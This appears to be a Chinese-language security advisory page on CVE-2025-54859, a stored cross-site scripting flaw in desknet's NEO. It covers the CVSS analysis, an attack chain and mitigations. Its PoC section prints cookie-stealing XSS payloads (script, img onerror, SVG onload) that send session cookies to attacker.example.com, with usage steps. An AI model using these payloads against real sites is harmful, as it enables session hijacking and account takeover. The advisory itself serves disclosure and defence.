IPBUF安全漏洞报告
English
CVE-2025-54859 CVSS 4.8 中危

CVE-2025-54859 desknet's NEO 存储型跨站脚本漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-54859
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
desknet's NEO

相关标签

XSS存储型XSS跨站脚本Stored XSSCross-Site Scriptingdesknet's NEONEOJAPAN群组协作软件CVE-2025-54859JPCERT

漏洞概述

CVE-2025-54859 是由 JPCERT/CC 协调的脆弱性发现团队 [email protected] 于 2025 年 10 月 16 日公开披露的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于日本 NEOJAPAN 公司开发的群组协作软件 desknet's NEO 中,影响 V9.0R2.0 及更早版本。

desknet's NEO 是一款广泛应用于日本企业和政府机构的群组协作平台,提供日程管理、公告板、文件共享、电子邮件、工作流程、Web 会议等功能。由于其涉及大量企业内部敏感信息的共享与协作,安全性至关重要。

该存储型 XSS 漏洞允许攻击者在受害者的 Web 浏览器中执行任意 JavaScript 代码。与反射型 XSS 不同,存储型 XSS 的恶意脚本会被持久化存储在目标服务器(如数据库、消息板、文件等)中,当其他用户访问包含恶意脚本的页面时,脚本会在其浏览器上下文中自动执行,无需用户进行额外交互(除正常浏览页面外)。

根据 CVSS 3.0 评分体系,该漏洞评分为 4.8 分,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H),这意味着攻击者需要先获得合法的用户认证凭证才能利用此漏洞。此外,漏洞利用需要用户交互(UI:R),作用范围发生变化(S:C)。漏洞对机密性(C:L)和完整性(I:L)产生低影响,对可用性(A:N)无影响。

尽管该漏洞的 CVSS 评分仅为中危,但由于 desknet's NEO 在日本企业中的广泛部署,存储型 XSS 漏洞可能被用于窃取用户会话、进行钓鱼攻击、传播恶意软件、横向移动到企业内部其他系统,甚至在特定场景下升级为更严重的安全事件。因此,及时修复该漏洞对于使用 desknet's NEO 的组织而言至关重要。

该漏洞由 JPCERT/CC 协调披露,NEOJAPAN 公司已发布安全公告及相应补丁,建议所有受影响用户尽快升级到最新版本以消除风险。

技术细节

该漏洞是 desknet's NEO 群组协作软件中的存储型跨站脚本(Stored XSS)漏洞。其技术原理如下:

**漏洞原理**

desknet's NEO 在处理用户输入数据(如公告板内容、消息、日程描述、文件名等)时,未对输入内容进行充分的 HTML 实体编码或安全过滤,导致攻击者可以将恶意 JavaScript 代码作为合法数据提交到服务器。由于是存储型 XSS,恶意载荷会被持久化保存到后端数据库中。

当其他具有访问权限的用户浏览包含恶意脚本的页面时,服务器将包含恶意脚本的内容原样返回给客户端浏览器,浏览器将其解析为可执行脚本而非纯文本,从而在受害者的会话上下文中执行任意 JavaScript 代码。

**利用条件**

1. 攻击者必须拥有 desknet's NEO 的合法认证账户(高权限要求,PR:H)
2. 攻击者需要在某个允许输入富文本或 HTML 的功能模块(如公告板、消息、评论等)中注入恶意脚本
3. 受害者需要访问包含恶意脚本的页面(用户交互,UI:R)

**潜在危害**

- 窃取用户会话 Cookie,冒充受害者身份
- 篡改页面内容,进行钓鱼攻击
- 利用受害者权限执行未授权操作
- 在受害者浏览器中加载远程恶意内容
- 在企业内网环境中进行横向渗透

**CVSS 向量分析**

CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- AV:N(网络攻击):可通过互联网远程利用
- AC:L(低复杂度):无需特殊条件即可利用
- PR:H(高权限要求):需要合法账户
- UI:R(需要用户交互):需要受害者浏览恶意页面
- S:C(范围变化):可影响超出 desknet's NEO 范围的其他组件
- C:L/I:L/A:N:机密性和完整性影响低,可用性无影响

攻击链分析

STEP 1
步骤1:获取合法凭证
攻击者通过社会工程学、钓鱼攻击或购买泄露的凭证等方式获取 desknet's NEO 的合法用户账户。由于漏洞利用需要高权限(PR:H),合法认证是必要前提条件。
STEP 2
步骤2:注入恶意脚本
攻击者登录系统后,定位到允许用户输入内容的功能模块(如公告板、消息发送、日程描述、文件评论等),将精心构造的恶意 JavaScript 代码作为正常内容提交。恶意载荷被服务器存储到后端数据库中。
STEP 3
步骤3:等待受害者访问
恶意脚本被持久化存储后,攻击者等待具有更高权限的用户(如管理员)浏览包含恶意内容的页面。这是用户交互(UI:R)的关键环节。
STEP 4
步骤4:脚本执行
当受害者访问包含恶意脚本的页面时,浏览器解析并执行嵌入的 JavaScript 代码。脚本在受害者的会话上下文中运行,可访问其 Cookie、会话令牌等敏感信息。
STEP 5
步骤5:数据窃取与权限提升
恶意脚本将窃取的会话信息发送到攻击者控制的服务器,攻击者可利用这些信息冒充受害者身份进行未授权操作,或利用受害者的高权限进行进一步的横向移动和权限提升。
STEP 6
步骤6:扩大影响
由于范围变化(S:C)特性,攻击可能超出 desknet's NEO 本身,影响与受害者浏览器相关的其他系统和服务,造成更广泛的安全事件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-54859: Stored XSS in desknet's NEO V9.0R2.0 and earlier Vulnerability: Stored Cross-Site Scripting (XSS) Affected: desknet's NEO <= V9.0R2.0 Author: [email protected] --> <!-- Malicious payload to be injected into a vulnerable input field (e.g., bulletin board post, message, schedule description, etc.) --> <script> // Steal session cookie and exfiltrate to attacker-controlled server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker.example.com/steal?cookie=" + encodeURIComponent(cookie); // Alternatively, perform actions on behalf of the victim user // fetch('/api/some-action', { method: 'POST', credentials: 'include' }); </script> <!-- Alternative payload using img onerror (for inputs that strip <script> tags) --> <img src=x onerror="fetch('https://attacker.example.com/log?data='+document.cookie)"> <!-- Alternative payload using SVG --> <svg onload="alert(document.domain);fetch('https://attacker.example.com/?c='+document.cookie)"> <!-- Usage: 1. Authenticate to desknet's NEO as a legitimate user 2. Navigate to a feature that stores user input (e.g., bulletin board, message board) 3. Paste the malicious payload into the content field 4. Submit the form - the payload is now stored on the server 5. When another user (especially a privileged user) views the page, the JavaScript executes in their browser context -->

影响范围

desknet's NEO <= V9.0R2.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施: 1. **限制用户输入**:在管理后台对允许输入富文本的功能模块进行审查,临时禁用不必要的 HTML 编辑功能,强制使用纯文本模式。 2. **部署 WAF 规则**:在 Web 应用防火墙中部署针对 XSS 攻击的检测和阻断规则,过滤常见的恶意载荷模式(如 <script> 标签、onerror/onload 事件处理器、javascript: 协议等)。 3. **实施 CSP 策略**:通过配置 Content-Security-Policy HTTP 响应头,限制页面可执行的脚本来源,阻止内联脚本执行。 4. **会话保护**:缩短会话超时时间,强制重要操作重新认证,对敏感操作实施二次验证。 5. **权限最小化**:审查所有用户账户的权限,遵循最小权限原则,限制普通用户的内容发布权限。 6. **监控与审计**:加强对系统内容的监控,及时发现和清理已注入的恶意内容;对异常登录和会话活动进行告警。 7. **用户教育**:提醒用户注意可疑的链接和内容,特别是来自未知来源的公告和消息。 8. **网络隔离**:如果可能,将 desknet's NEO 部署在内部网络环境中,限制外部直接访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表